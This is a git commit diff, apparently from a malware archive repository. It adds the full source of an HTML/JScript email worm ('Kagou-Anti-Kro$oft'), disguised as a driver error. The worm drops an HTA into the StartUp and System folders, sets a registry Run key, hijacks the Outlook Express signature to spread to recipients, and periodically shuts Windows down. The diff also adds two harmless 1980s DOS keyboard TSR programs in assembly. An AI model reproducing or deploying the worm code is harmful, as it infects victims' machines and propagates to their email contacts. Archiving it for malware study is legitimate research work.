re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
File diff suppressed because it is too large Load Diff
+71
View File
@@ -0,0 +1,71 @@
<DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
id=3Dscr></OBJECT></DIV>
<SCRIPT><!--
function sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr=
iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =
WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object =
id=3D'wsh' =
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP=
T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew =
ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=
fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =
mye=3Dnew =
Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=
~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=
\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=
(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=
eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs=
.GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr=
)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=
@echo off>'+pth);t1.WriteLine('del =
'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=
k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=
T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=
n+'\\\\Software\\\\Microsoft\\\\Outlook =
Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\=
"Default =
Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=
\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =
#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=
\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=
teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =
Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=
L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=
;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=
ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s =
'+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B=
ODY><DIV =
style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=
(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =
sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095=
);t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=
;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\kak.hta\":\"C:\\\\=
\\\\windows\\\\\\\\Start =
Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user=
Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
r.appVersion)>4))||(agt.indexOf(\"msie =
5.\")!=3D-1))scr.write();');t3.write('// =
--></"+"'+'SCRIPT></"+"'+'OBJECT></"+"'+'BODY></"+"'+'HTML>');t3.close();=
fs.GetFile(wd+'kak.htm').Attributes=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dn=
ew Date();if(d.getDate()=3D=3D1 && =
d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
!');wsh.Run(wd+'RUNDLL32.EXE =
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
failed &nbsp; =
!]]%%%%%</"+"BODY></"+"HTML";la=3D(navigator.systemLanguage)?navigator.sy=
stemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\M=
enu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
gt.indexOf("msie 5.")!=3D-1))scr.write();
// --></SCRIPT>
</OBJECT></DIV></BODY></HTML>
+253
View File
@@ -0,0 +1,253 @@
;---------------------------------------------------------------------------
;KBM KeyBoard Mouse by Dan Rollins 5-20-85
;
; This program intercepts keyboard data and creates a bit pattern determined
; according to whether or not certain keys are currently being pressed.
;
; The bit pattern is stored in the "inter-application communication area"
; at 0000:04f0. It is interpreted as:
;
; 7 6 5 4 3 2 1 0 (bit number)
; C m P H l d r u (bit name)
; | | | | | | | |
; | | | | | | | +- bit 0 (01h) - set = 1 while [up arrow] is pressed
; | | | | | | +--- bit 1 (02h) - set = 1 while [right arrow] is pressed
; | | | | | +----- bit 2 (04h) - set = 1 while [down arrow] or [5] is pressed
; | | | | +------- bit 3 (08h) - set = 1 while [left arrow] is pressed
; | | | |
; | | | +--------- bit 4 (10h) - set = 1 while [Home] is pressed
; | | +----------- bit 5 (20h) - set = 1 while [PgUp] is pressed
; | +------------- bit 6 (40h) - set = 1 while grey [-] is pressed
; +--------------- bit 7 (80h) - set = 1 while [CapsLock] is pressed
;
; As soon as the key is released, the relevant bit is reset to 0.
;
; The byte at 0000:04f1 is the "pass-through/filter" mode flag. When this
; byte is zero, all keystrokes are passed to the normal keyboard handler.
; When it's non-zero, the selected keystrokes are filtered (disabled for
; normal input). BIOS and DOS keyboard calls will not recognize them.
;
; The Alt-NumLock keystroke toggles between pass-through and filter modes.
;
; This program is installed and remains resident. It is a COM-format
; file, so it must be converted with EXE2BIN.
;
; Copyright (c) Ziff-Davis Publishing Co., 1986. All rights reserved.
;
;= equates ===============
KB_DATA_PORT equ 60h ;These are listed in the PC and XT
KB_CTRL_PORT equ 61h ; Technical Reference Manuals
KB_FLAG equ 417h ; the BIOS shift-key status (in segment 0)
ALT_STATE equ 8 ; Bit pattern while the [Alt] key is pressed
NUMLOCK_KEY equ 69 ; scan-code of the [NumLock] key
INT_CTL_PORT equ 20h ; Interrupt controller port (8259 chip)
EOI equ 20h ; End-Of-Interrupt code sent to 8259
RELEASE_BIT equ 80h ;also called the "break" bit: a key was released
KEY_BITS equ 04f0H ;the address of the key bit flags (segment 0)
MODE_FLAG equ 04f1H ;when 0, all keys are passed to normal kbint
INST_FLAG equ 04f2H ; set to 1234H during installation
com_seg segment
assume cs:com_seg, ds:com_seg
org 100h ;must have for COM-format program
kbm proc far
jmp set_up ;get past data and install interrupt hander
;============= program data area ========
norm_kbd_int label dword ;type DWORD so it can be used in a FAR jump
nki_offset dw 0 ; This address is stored in the SET_UP proc
nki_segment dw 0 ; It's the address of the previous kbint routine
;-----------------------------------------------------------------------------
; KBD_INT
; 1) read the keyboard
; 2) set/reset bits in mouse movement byte
; 3) execute normal keyboard interrupt
;
; scan bit key suggested meaning
; code flag name (defined by user)
; ---- ---- --------- ----------------------
kbm_tbl db 72, 1 ; num.pad 8 go up
db 77, 2 ; num.pad 6 go right
db 80, 4 ; num.pad 2 go down
db 75, 8 ; num.pad 4 go left
db 76, 4 ; num.pad 5 go down
db 71, 16 ; Home button 1
db 73, 32 ; PgUp button 2
db 74, 64 ; grey minus button 3
db 58, 128; CapsLock "high-gear shift" for fast motion
tbl_end label byte
;-----------------------------------------------------------------------------
; KBD_INT
; This procedure intercepts the ROM-BIOS KB_INT.
; It sets and resets bits of a kbd flag as the user presses and releases keys.
; When the byte at 0000:04F1 is 0, the keystroke is passed on to the
; original keyboard handler.
kbd_int proc far
sti
cld
push ax
push si
push ds
in al,KB_DATA_PORT ;read scan-code from keyboard into AL
mov ah,al ;save original byte in AH
and al,7fh ;mask off "release bit" for comparisons
mov si,offset kbm_tbl
k_20:
cmp si,offset tbl_end ;at end of table?
ja k_25 ; yes, key not found. Exit to normal kbint
cmp al,byte ptr cs:[si] ; is this the key?
je k_30 ; yes, process the keystroke
inc si ; no, point past the scan code
inc si ; point past the bit-mask
jmp k_20 ; and loop back for the next entry
k_25:
;------- check for mode-toggle by user
cmp ah,NUMLOCK_KEY ;is this a press of [NumLock]?
jne k_27 ; no, go
sub si,si ; yes, look to BIOS data area
mov ds,si
test byte ptr ds:[KB_FLAG],ALT_STATE ; is [Alt] pressed?
jz k_27 ; no, pass the key on
xor byte ptr ds:[MODE_FLAG],1 ; yes, toggle the mode and
jmp short k_exit ; exit w/o processing
;------- the keystroke is to be processed by the normal keyboard interrupt
k_27:
pop ds
pop si
pop ax
jmp cs:[norm_kbd_int] ;continue at normal keyboard handler
k_30:
;------- process the scan code into a bit-pattern
mov al,cs:[si+1] ;get bit-flag mask
sub si,si
mov ds,si ;point to segment of KEY_BITS
test ah,RELEASE_BIT ;is this key being released?
jz k_40 ; no, go
;------- process key release
not al ;flip-flop mask bits
and byte ptr ds:[KEY_BITS],al ;mask off released key bit
jmp k_50
k_40:
;------- process key press
or byte ptr ds:[KEY_BITS],al ;set the bit for pressed key
;------- determine whether key should be passed on to normal keyboard handler
k_50:
cmp byte ptr ds:[MODE_FLAG],0 ;should key be processed further?
je k_27 ; yes, continue at normal kb int
;------- the keystroke is to be ignored by the rest of the system.
;------- wrap up this keyboard interrupt.
k_exit:
in al,KB_CTRL_PORT ;get current value of keyboard control lines
mov ah,al ; save it
or al,80h ;set the "enable kbd" bit
out KB_CTRL_PORT,al ; and write it out the control port
xchg ah,al ;fetch the original control port value
out KB_CTRL_PORT,al ; and write it back
pop ds
pop si
cli
mov al,EOI ;send End-Of-Interrupt signal
out INT_CTL_PORT,al ; to the 8259 Interrupt Controller
pop ax
iret ;exit to interrupted program
kbd_int endp
LAST_BYTE equ offset $+1 ;This is the address passed to INT 27H
;Notice that the code of the SET_UP
; procedure is not preserved in memory
;-----------------------------------------------------------------------------
; SET_UP
; This routine is executed only once, when the program is installed.
inst_msg db 'KBM KeyBoard Mouse driver',0dh,0ah
db 'Copyright (c) 1986 Ziff-Davis Publishing Co.,',0dh,0ah,'$'
err_msg1 db 07,'Already installed',0dh,0ah,'$'
err_msg2 db 'Wrong DOS version.',0dh,0ah,'$'
set_up proc near
;------- make sure this is DOS 2.0 or later
mov ah,30h
int 21h
cmp al,2
jae su_10
mov dx,offset err_msg2
jmp msg_exit
su_10:
;------- see if KBM has already been installed
mov ax,0
mov es,ax
cmp es:[INST_FLAG],1234H ;already installed?
jne su_20 ; no, continue
mov dx,offset err_msg1 ; yes, exit with message
jmp msg_exit
su_20:
mov word ptr es:[INST_FLAG],1234h ; flag says KBM is installed
;------- save the old kbint vector and set up the new one
mov al,9
mov ah,35h ;DOS GET_VECTOR service
int 21h ; for interrupt 9 (KBINT)
mov al,9 ;get address of the current kb int handler
mov ah,35h ;DOS GET_VECTOR service
int 21h
mov nki_segment,es ;save old address
mov nki_offset,bx
mov dx,offset kbd_int ;set INT 9 to local keyboard interceptor
mov al,9 ;set vector for INT 9 to DS:DX
mov ah,25h ;DOS SET_VECTOR service
int 21h
mov ax,0
mov es,ax ;initialize variables:
mov byte ptr es:[MODE_FLAG],0 ; process all keystrokes
mov byte ptr es:[KEY_BITS],0 ; no keys are pressed
;------- display message to indicate install`tion complete
mov dx,offset inst_msg
mov ah,9
int 21h
;------- exit to DOS, leaving the interrupt handler resident
mov dx,LAST_BYTE
int 27h
msg_exit:
mov ah,9
int 21h
int 20h
set_up endp
kbm endp
com_seg ends
end kbm

@@ -0,0 +1,483 @@
VECTORS SEGMENT AT 0H ;Set up segment to intercept Interrupts
ORG 9H*4 ;The keyboard Interrupt
KEYBOARD_INT LABEL DWORD
ORG 1CH*4 ;Timer Interrupt
TIMER_VECTOR LABEL DWORD
VECTORS ENDS
SCREEN SEGMENT AT 0B000H ;A dummy segment to use as the
SCREEN ENDS ;Extra Segment
ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer
ORG 1AH
HEAD DW ? ;Unread chars go from Head to Tail
TAIL DW ?
BUFFER DW 16 DUP (?) ;The buffer itself
BUFFER_END LABEL WORD
ROM_BIOS_DATA ENDS
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H ;ORG = 100H to make this into a .COM file
FIRST: JMP LOAD_KEEPER ;First time through
COPY_RIGHT DB '(C)1985 S.HOLZNER' ;Ascii autograph
PAD DB 20*102 DUP(0) ;Memory storage for pad
PAD_CURSOR DW 9*102 ;Current position in pad
ATTRIBUTE DB 112 ;Pad Attribute -- reverse video
LINE_ATTRIBUTE DB 240 ;Flashing Rev video
OLD_ATTRIBUTE DB 7 ;Original screen attrib: normal
PAD_OFFSET DW 0 ;Chooses 1st 250 bytes or 2nd
FIRST_POSITION DW ? ;Position of 1st char on screen
TRIGGER_FLAG DW 0 ;Trigger on or off
FULL_FLAG DB 0 ;Buffer Full Flag
LINE DW 9 ;Line number, 0-9
SCREEN_SEG_OFFSET DW 0 ;0 for mono, 8000H for graphics
IO_CHAR DW ? ;Holds addr of Put or Get_Char
STATUS_PORT DW ? ;Video controller status port
OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt
FINISHED_FLAG DB 1 ;If not finished,f buffer
COMMAND_INDEX DW 1 ;Stores positior timer)
ROM_TIMER DD 1 ;The Timer interrupt's address
OLD_HEAD DW 0
KEEPER PROC NEAR ;The keyboard interrupt will now come here.
ASSUME CS:CODE_SEG
PUSH AX ;Save the used registers for good form
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH DS
PUSH ES
PUSHF ;First, call old keyboard interrupt
CALL OLD_KEYBOARD_INT
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
MOV BX,ROM_BIOS_DATA
MOV DS,BX
MOV BX,TAIL ;Point to current tail
CMP BX,HEAD ;If at head, kbd int has deleted char
JE BYE ;So leave
MOV DX,HEAD
SUB DX,2 ;Point to just read in character
CMP DX,OFFSET BUFFER ;Did we undershoot buffer?
JAE NOWRAP ;Nope
MOV DX,OFFSET BUFFER_END ;Yes -- move to buffer top
SUB DX,2 ;Compare two bytes back from head
NOWRAP: CMP DX,TAIL ;If it's the tail, buffer is full
JNE NOTFULL ;We're OK, jump to NotFull
CMP FULL_FLAG,1 ;Check if keyboard buffer full
JE BYE ;Yep, leave
MOV FULL_FLAG,1 ;Oops, full, set flag and take
JMP CHK ; this last character
NOTFULL:MOV FULL_FLAG,0 ;Always reset Full_Flag when buff clears
CHK: CMP TRIGGER_FLAG,0 ;Is the window on (triggered?)
JNE SUBT ;Yep, keep going
MOV DX,OLD_HEAD ;Check position of buffer head
CMP DX,HEAD
JNE CONT
MOV OLD_HEAD,0
BYE: JMP OUT
CONT: MOV DX,HEAD
MOV OLD_HEAD,DX
SUBT: SUB BX,2 ;Point to just read in character
CMP BX,OFFSET BUFFER ;Did we undershoot buffer?
JAE NO_WRAP ;Nope
MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top
SUB BX,2 ;
NO_WRAP:MOV DX,[BX] ;Char in DX now
;------ CHAR IN DX NOW -------
CMP FINISHED_FLAG,0
JE IN
CMP DX,310EH ;Default trigger is a ^N here.
JNE NOT_TRIGGER ;No
MOV TAIL,BX
NOT TRIGGER_FLAG ;Switch Modes
CMP TRIGGER_FLAG,0 ;Trigger off?
JNE TRIGGER_ON ;No, only other choice is on
TRIGGER_OFF:
MOV OLD_HEAD,0 ;Reset old head
MOV AH,OLD_ATTRIBUTE ;Get ready to restore screen
MOV ATTRIBUTE,AH ;Pad and blinking line set to orig.
MOV LINE_ATTRIBUTE,AH ; values
MOV PAD_OFFSET,10*102 ;Point to 2nd half of pad
LEA AX,PUT_CHAR ;Make IO call Put_Char as it scans
MOV IO_CHAR,AX ;over all locations in pad on screen
CALL IO ;Restore screen
CMP LINE,9 ;Was the window turned off without
JE IN ; using up-down keys? If so, exit
MOV AX,LINE ;No, there is a line to stuff in
MOV CL,102 ; keyboard buffer
MUL CL ;Find its location in Pad
MOV COMMAND_INDEX,AX ;And send to Put
CALL PUT ;Which will do actual stuffing
IN: JMP OUT ;Done
TRIGGER_ON: ;Window just turned on
MOV LINE,9 ;Set blinking line to bottom
MOV PAD_OFFSET,10*102 ;Point to screen storage part of pad
LEA AX,GET_CHAR ;Make IO use Get_char so current screen
MOV IO_CHAR,AX ;is stored
CALL IO ;Store Screen
CALL DISPLAY ;And put up the pad
JMP OUT ;Done here.
NOT_TRIGGER:
TEST TRIGGER_FLAG,1 ;Is Trigger on?
JZ RUBOUT_TEST
MOV TAIL,BX ;Yes, delete this char from buffer
UP: CMP DX,4800H ;An Up cursor key?
JNE DOWN ;No, try Down
DEC LINE ;Move blinker up one line
CMP LINE,0 ;At top? If so, reset
JGE NOT_TOP
MOV LINE,9
NOT_TOP:CALL DISPLAY ;Display result
JMP OUT ;And leave
DOWN: CMP DX,5000H ;Perhaps Down cusor key pushed
JNE IN ;If not, ignore key
INC LINE ;If so, move down one
CMP LINE,9 ;If at bottom, wrap to top
JLE NOT_BOT
MOV LINE,0
NOT_BOT:CALL DISPLAY ;Show results
JMP OUT ;And exit
RUBOUT_TEST:
CMP DX,0E08H ;Is it a Rubout?
JNE CHAR_TEST ;No -- try carriage return-line feed
MOV BX,PAD_CURSOR ;Yes -- get current pad location
CMP BX,9*102 ;Are we at beginning of last line?
JLE NEVER_MIND ;Yes -- can't rubout past beginning
SUB PAD_CURSOR,2 ;No, rubout this char
MOV PAD[BX-2],20H ;Move a space in instead (3920H)
MOV PAD[BX-1],39H
NEVER_MIND:
JMP OUT ;Done here.
CHAR_TEST:
CMP DL,13 ;Is this a carriage return?
JE PLUG ;If yes, plug this line into Pad
CMP DL,32 ;If this char < Ascii 32, delete line
JGE PLUG
MOV PAD_CURSOR,9*102 ;Clear the current line
MOV CX,51
MOV BX,9*102
CLEAR: MOV WORD PTR PAD[BX],0
ADD BX,2
LOOP CLEAR
JMP OUT ;And exit
PLUG: MOV BX,PAD_CURSOR ;Get current pad location
CMP BX,10*102-2 ;Are we past the end of the pad?
JGE CRLF_TEST ;Yes -- throw away char
MOV WORD PTR PAD[BX],DX ;No -- move ASCII code into pad
ADD PAD_CURSOR,2 ;Increment pad location
CRLF_TEST:
CMP DX,1C0DH ;Is it a carriage return-line feed?
JNE OUT ;No -- put it in the pad
CALL CRLF ;Yes -- move everything up in pad
OUT: POP ES ;Having done Pushes, here are the Pops
POP DS
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
IRET ;An interrupt needs an IRET
KEEPER ENDP
DISPLAY PROC NEAR ;Puts the whole pad on the screen
PUSH AX
MOV ATTRIBUTE,112 ;Use reverse video
MOV LINE_ATTRIBUTE,240
MOV PAD_OFFSET,0 ;Use 1st 250 bytes of pad memory
LEA AX,PUT_CHAR ;Make IO use Put-Char so it does
MOV IO_CHAR,AX
CALL IO ;Put result on screen
POP AX
RET ;Leave
DISPLAY ENDP
CRLF PROC NEAR ;This handles carriage returns
PUSH BX ;Push everything conceivable
PUSH CX
PUSH DI
PUSH SI
PUSH DS
PUSH ES
ASSUME DS:CODE_SEG ;Set DS to Code_Seg here
PUSH CS
POP DS
ASSUME ES:CODE_SEG ;And ES too
PUSH DS
POP ES
LEA DI,PAD ;Get ready to move contents of Pad
MOV SI,DI ; up one line
ADD SI,102 ;DI-top line, SI-one below top line
MOV CX,9*51
MOV BX,PAD_CURSOR ;But first finish line with a 0
CMP BX,9*102+2 ; as a flag letting Put know line is
JE POPS ; done.
MOV WORD PTR PAD[BX],0
REP MOVSW ;Move up Pad contents
MOV CX,51 ;Now fill the last line with spaces
MOV AX,3920H
REP STOSW ;Using Stosw
POPS: MOV PAD_CURSOR,9*102 ;And finally reset Cursor to beginning
POP ES ; of the last line again.
POP DS
POP SI
POP DI
POP CX
POP BX
DONE: RET ;And out.
CRLF ENDP
GET_CHAR PROC NEAR ;Gets a char from screen and advances position
ASSUME ES:SCREEN,DS:ROM_BIOS_DATA
PUSH DX
MOV SI,2 ;Loop twice, once for char, once for attribute
MOV DX,STATUS_PORT ;Get ready to read video controller status
G_WAIT_LOW: ;Start waiting for a new horizontal scan -
IN AL,DX ;Make sure the video controller scan status
TEST AL,1 ;is low
JNZ G_WAIT_LOW
G_WAIT_HIGH: ;After port has gone low, it must go high
IN AL,DX ;before it is safe to read directly from
TEST AL,1 ;the screen buffer in memory
JZ G_WAIT_HIGH
MOV AH,ES:[DI] ;Do the move from the screen, one byte at a time
INC DI ;Move to next screen location
DEC SI ;Decrement loop counter
CMP SI,0 ;Are we done?
JE LEAVE ;Yes
MOV PAD[BX],AH ;No -- put char we got into the pad
JMP G_WAIT_LOW ;Do it again
LEAVE: MOV OLD_ATTRIBUTE,AH
ADD BX,2
POP DX
RET
GET_CHAR ENDP
PUT_CHAR PROC NEAR ;Puts one char on screen and advances position
PUSH DX
MOV AH,PAD[BX] ;Get the char to be put onto the screen
CMP AH,32
JAE GO
MOV AH,32
GO: MOV SI,2 ;Loop twice, once for char, once for attribute
MOV DX,STATUS_PORT ;Get ready to read video controller status
P_WAIT_LOW: ;Start waiting for a new horizontal scan -
IN AL,DX ;Make sure the video controller scan status
TEST AL,1 ;is low
JNZ P_WAIT_LOW
P_WAIT_HIGH: ;After port has gone low, it must go high
IN AL,DX ;before it is safe to write directly to
TEST AL,1 ;the screen buffer in memory
JZ P_WAIT_HIGH
MOV ES:[DI],AH ;Move to screen, one byte at a time
MOV AH,ATTRIBUTE ;Load attribute byte for second pass
INC DI ;Point to next screen postion
DEC SI ;Decrement loop counter
JNZ P_WAIT_LOW ;If not zero, do it one more time
ADD BX,2
POP DX
RET ;Exeunt
PUT_CHAR ENDP
IO PROC NEAR ;This scans over all screen positions of the pad
ASSUME ES:SCREEN ;Use screen as extra segment
MOV BX,SCREEN
MOV ES,BX
PUSH DS
MOV BX,ROM_BIOS_DATA
MOV DS,BX
MOV BX,4AH
MOV BX,DS:[BX]
SUB BX,51
ADD BX,BX
MOV FIRST_POSITION,BX
POP DS
MOV DI,SCREEN_SEG_OFFSET ;DI will be pointer to screen postion
ADD DI,FIRST_POSITION ;Add width of screen minus pad width
MOV BX,PAD_OFFSET ;BX will be pad location pointer
MOV CX,10 ;There will be 10 lines
LINE_LOOP:
PUSH WORD PTR ATTRIBUTE
PUSH CX ;Figure out whether this is blinking
NEG CX ; line and if so, temporarily change
ADD CX,10 ; display attribute
CMP CX,LINE
JNE NOLINE
MOV CL,LINE_ATTRIBUTE
MOV ATTRIBUTE,CL
NOLINE: POP CX
MOV DX,51 ;And 51 spaces across
CHAR_LOOP:
CALL IO_CHAR ;Call Put-Char or Get-Char
DEC DX ;Decrement character loop counter
JNZ CHAR_LOOP ;If not zero, scan over next character
ADD DI,FIRST_POSITION ;Add width of screen minus pad width
POP WORD PTR ATTRIBUTE
LOOP LINE_LOOP ;And now go back to do next line
RET ;Finished
IO ENDP
PUT PROC NEAR ;Here it is.
ASSUME DS:ROM_BIOS_DATA ;Free DS
PUSH DS ;Save all used registers
PUSH SI
PUSH DI
PUSH DX
PUSH CX
PUSH BX
PUSH AX
MOV AX,ROM_BIOS_DATA ;Just to make sure
MOV DS,AX ;Set DS correctly
FIN: MOV FINISHED_FLAG,1 ;Assume we'll finish
MOV BX,TAIL ;Prepare to move to buffer's tail
MOV SI,COMMAND_INDEX ;Get our source index
STUFF: MOV AX,WORD PTR PAD[SI]
ADD SI,2 ;Point to the command's next character
CMP AX,0 ;Is it a zero? (End of command)
JE NO_NEW_CHARACTERS ;Yes, leave with Finished_Flag=1
MOV DX,BX ;Find position in buffer from BX
ADD DX,2 ;Move to next position for this word
CMP DX,OFFSET BUFFER_END ;Are we past the end?
JL NO_WRAP2 ;No, don't wrap
MOV DX,OFFSET BUFFER ;Wrap
NO_WRAP2:
CMP DX,HEAD ;Buffer full but not yet done?
JE BUFFER_FULL ;Time to leave, set Finished_Flag=0.
ADD COMMAND_INDEX,2 ;Move to next word in command
MOV [BX],AX ;Put it into the buffer right here.
ADD BX,2 ;Point to next space in buffer
CMP BX,OFFSET BUFFER_END ;Wrap here?
JL NO_WRAP3 ;No, readjust buffer tail
MOV BX,OFFSET BUFFER ;Yes, wrap
NO_WRAP3:
MOV TAIL,BX ;Reset buffer tail
JMP STUFF ;Back to stuff in another character.
BUFFER_FULL: ;If buffer is full, let timer take over
MOV FINISHED_FLAG,0 ; by setting Finished_Flag to 0.
NO_NEW_CHARACTERS:
POP AX ;Restore everything before departure.
POP BX
POP CX
POP DX
POP DI
POP SI
POP DS
STI
RET
PUT ENDP
ASSUME DS:CODE_SEG
INTERCEPT_TIMER PROC NEAR ;This completes filling the buffer
PUSHF ;Store used flags
PUSH DS ;Save DS since we'll change it
PUSH CS ;Put current value of CS into DS
POP DS
CALL ROM_TIMER ;Make obligatory call
PUSHF
CMP FINISHED_FLAG,1 ;Do we have to do anything?
JE OUT1 ;No, leave
CLI ;Yes, start by clearing interrupts
PUSH DS ;Save these.
PUSH SI
PUSH DX
PUSH BX
PUSH AX
ASSUME DS:ROM_BIOS_DATA ;Point to the keyboard buffer again.
MOV AX,ROM_BIOS_DATA
MOV DS,AX
MOV BX,TAIL ;Prepare to put characters in at tail
MOV FINISHED_FLAG,1 ;Assume we'll finish
MOV SI,COMMAND_INDEX ;Find where we left ourselves
STUFF2: MOV AX,WORD PTR PAD[SI] ;The same stuff loop as above.
ADD SI,2 ;Point to next command character.
CMP AX,0 ;Is it zero? (end of command)
JNE OVER ;No, continue.
JMP NO_NEW_CHARACTERS2 ;Yes, leave with Finished_Flag=1
OVER: MOV DX,BX ;Find position in buffer from BX
ADD DX,2 ;Move to next position for this word
CMP DX,OFFSET BUFFER_END ;Are we past the end?
JL NO_WRAP4 ;No, don't wrap
MOV DX,OFFSET BUFFER ;Do the Wrap rap.
NO_WRAP4:
CMP DX,HEAD ;Buffer full but not yet done?
JE BUFFER_FULL2 ;Time to leave, come back later.
ADD COMMAND_INDEX,2 ;Point to next word of command.
MOV [BX],AX ;Put into buffer
ADD BX,2 ;Point to next space in buffer
CMP BX,OFFSET BUFFER_END ;Wrap here?
JL NO_WRAP5 ;No, readjust buffer tail
MOV BX,OFFSET BUFFER ;Yes, wrap
NO_WRAP5:
MOV TAIL,BX ;Reset buffer tail
JMP STUFF2 ;Back to stuff in another character
BUFFER_FULL2:
MOV FINISHED_FLAG,0 ;Set flag to not-done-yet.
NO_NEW_CHARACTERS2:
POP AX ;Restore these.
POP BX
POP DX
POP SI
POP DS
OUT1: POPF ;And Exit.
POP DS
IRET ;With customary IRET
INTERCEPT_TIMER ENDP
LOAD_KEEPER PROC NEAR ;This procedure intializes everything
ASSUME DS:VECTORS ;The data segment will be the Interrupt area
MOV AX,VECTORS
MOV DS,AX
MOV AX,KEYBOARD_INT ;Get the old interrupt service routine
MOV OLD_KEYBOARD_INT,AX ;address and put it into our location
MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it.
MOV OLD_KEYBOARD_INT[2],AX
MOV KEYBOARD_INT,OFFSET KEEPER ;Now load the address of our notepad
MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt
MOV AX,TIMER_VECTOR ;Now same for timer
MOV ROM_TIMER,AX
MOV AX,TIMER_VECTOR[2]
MOV ROM_TIMER[2],AX
MOV TIMER_VECTOR,OFFSET INTERCEPT_TIMER
MOV TIMER_VECTOR[2],CS ;And intercept that too.
ASSUME DS:ROM_BIOS_DATA
MOV AX,ROM_BIOS_DATA
MOV DS,AX
MOV BX,OFFSET BUFFER ;Clear the keyboard buffer.
MOV HEAD,BX
MOV TAIL,BX
MOV AH,15 ;Ask for service 15 of INT 10H
INT 10H ;This tells us how display is set up
MOV STATUS_PORT,03BAH ;Assume this is a monochrome display
TEST AL,4 ;Is it?
JNZ EXIT ;Yes - jump out
MOV SCREEN_SEG_OFFSET,8000H ;No - set up for graphics display
MOV STATUS_PORT,03DAH
EXIT: MOV DX,OFFSET LOAD_KEEPER ;Set up everything but LOAD_PAD to
INT 27H ;stay and attach itself to DOS
